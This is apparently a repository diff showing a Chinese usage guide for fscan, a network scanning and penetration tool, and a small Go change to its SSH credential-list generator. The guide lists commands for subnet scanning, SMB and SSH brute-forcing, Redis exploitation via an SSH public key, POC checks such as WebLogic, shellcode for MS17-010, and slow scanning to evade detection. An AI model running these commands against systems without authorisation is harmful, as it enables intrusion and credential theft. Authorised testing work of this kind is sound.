|
||||
---
|
||||
|
||||
## 🔧 其他参数
|
||||
|
||||
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||
|-----|------|-------|------|------|
|
||||
| `-sc` | string | - | **Shellcode** (用于MS17010等) | `-sc shellcode.bin` |
|
||||
| `-lang` | string | `zh` | **语言设置**: zh, en | `-lang en` |
|
||||
| `-help` | bool | `false` | **显示帮助信息** | `-help` |
|
||||
|
||||
---
|
||||
|
||||
## 💡 使用示例
|
||||
|
||||
### 基础扫描示例
|
||||
|
||||
```bash
|
||||
# 1. 基础主机扫描
|
||||
fscan.exe -h 192.168.1.1
|
||||
|
||||
# 2. 网段扫描
|
||||
fscan.exe -h 192.168.1.0/24
|
||||
|
||||
# 3. 指定端口扫描
|
||||
fscan.exe -h 192.168.1.1 -p 80,443,8080
|
||||
|
||||
# 4. 端口范围扫描
|
||||
fscan.exe -h 192.168.1.1 -p 1-1000
|
||||
|
||||
# 5. 从文件读取目标
|
||||
fscan.exe -hf targets.txt -p 80,443
|
||||
```
|
||||
|
||||
### 高级扫描示例
|
||||
|
||||
```bash
|
||||
# 6. 服务指纹识别
|
||||
fscan.exe -h 192.168.1.1 -fingerprint
|
||||
|
||||
# 7. 完整扫描 (包括POC)
|
||||
fscan.exe -h 192.168.1.1 -full
|
||||
|
||||
# 8. 静默模式扫描
|
||||
fscan.exe -h 192.168.1.1 -silent -o results.json -f json
|
||||
|
||||
# 9. 高性能扫描
|
||||
fscan.exe -h 192.168.1.0/24 -t 1000 -time 1 -np
|
||||
|
||||
# 10. Web应用扫描
|
||||
fscan.exe -u http://example.com -full
|
||||
```
|
||||
|
||||
### 认证扫描示例
|
||||
|
||||
```bash
|
||||
# 11. SMB扫描带认证
|
||||
fscan.exe -h 192.168.1.1 -user administrator -pwd password -domain COMPANY
|
||||
|
||||
# 12. SSH密钥认证
|
||||
fscan.exe -h 192.168.1.1 -sshkey ~/.ssh/id_rsa
|
||||
|
||||
# 13. 暴力破解扫描
|
||||
fscan.exe -h 192.168.1.1 -userf users.txt -pwdf passwords.txt
|
||||
|
||||
# 14. 禁用暴力破解
|
||||
fscan.exe -h 192.168.1.1 -nobr
|
||||
```
|
||||
|
||||
### 特殊用途示例
|
||||
|
||||
```bash
|
||||
# 15. Redis利用
|
||||
fscan.exe -h 192.168.1.1 -rf ~/.ssh/id_rsa.pub
|
||||
|
||||
# 16. 代理扫描
|
||||
fscan.exe -h 192.168.1.1 -proxy http://127.0.0.1:8080
|
||||
|
||||
# 17. 指定POC测试
|
||||
fscan.exe -h 192.168.1.1 -pocname weblogic
|
||||
|
||||
# 18. 仅端口扫描
|
||||
fscan.exe -h 192.168.1.1 -m portscan
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🏆 最佳实践
|
||||
|
||||
### 🚀 性能优化
|
||||
|
||||
```bash
|
||||
# 高性能内网扫描
|
||||
fscan.exe -h 192.168.1.0/24 -t 1000 -time 1 -np -nobr
|
||||
|
||||
# 快速端口发现
|
||||
fscan.exe -h target -m portscan -t 2000 -time 1
|
||||
|
||||
# 轻量级服务识别
|
||||
fscan.exe -h target -fingerprint -nobr -nopoc
|
||||
```
|
||||
|
||||
### 🛡️ 隐蔽扫描
|
||||
|
||||
```bash
|
||||
# 慢速扫描避免检测
|
||||
fscan.exe -h target -t 10 -time 10 -slow
|
||||
|
||||
# 通过代理扫描
|
||||
fscan.exe -h target -proxy http://proxy:8080 -t 50
|
||||
```
|
||||
|
||||
### 📊 结果输出
|
||||
|
||||
```bash
|
||||
# JSON格式便于处理
|
||||
fscan.exe -h target -f json -o results.json
|
||||
|
||||
# 静默模式仅保存结果
|
||||
fscan.exe -h target -silent -o results.txt
|
||||
|
||||
# 详细日志调试
|
||||
fscan.exe -h target -log ALL -sp
|
||||
```
|
||||
|
||||
### 🎯 针对性扫描
|
||||
|
||||
```bash
|
||||
# Web应用专项
|
||||
fscan.exe -u http://target -full -cookie "session=xxx"
|
||||
|
||||
# 数据库专项
|
||||
fscan.exe -h target -p 1433,3306,5432,6379 -fingerprint
|
||||
|
||||
# Windows主机专项
|
||||
fscan.exe -h target -p 135,139,445,3389 -domain COMPANY
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ 注意事项
|
||||
|
||||
1. **性能调优**:
|
||||
- 内网扫描可使用 `-t 1000` 提高速度
|
||||
- 互联网扫描建议 `-t 100` 避免被限制
|
||||
|
||||
2. **权限要求**:
|
||||
- ICMP需要管理员权限
|
||||
- 某些端口扫描可能需要提升权限
|
||||
|
||||
3. **网络环境**:
|
||||
- 防火墙可能影响扫描结果
|
||||
- 代理环境下注意配置 `-proxy` 或 `-socks5`
|
||||
|
||||
4. **法律合规**:
|
||||
- 仅在授权环境下使用
|
||||
- 遵守相关法律法规
|
||||
|
||||
---
|
||||
|
||||
**📞 技术支持**: [https://fscan.club](https://fscan.club)
|
||||
**🐛 问题反馈**: [GitHub Issues](https://github.com/shadow1ng/fscan/issues)
|
@ -145,7 +145,10 @@ func attemptKeyAuth(info *common.HostInfo, username, keyPath string, timeoutSeco
|
||||
|
||||
// generateCredentials 生成所有用户名密码组合
|
||||
func generateCredentials(users, passwords []string) []SshCredential {
|
||||
var credentials []SshCredential
|
||||
// 预分配切片容量,避免频繁重新分配
|
||||
totalCredentials := len(users) * len(passwords)
|
||||
credentials := make([]SshCredential, 0, totalCredentials)
|
||||
|
||||
for _, user := range users {
|
||||
for _, pass := range passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
|
Loading…
Reference in New Issue
Block a user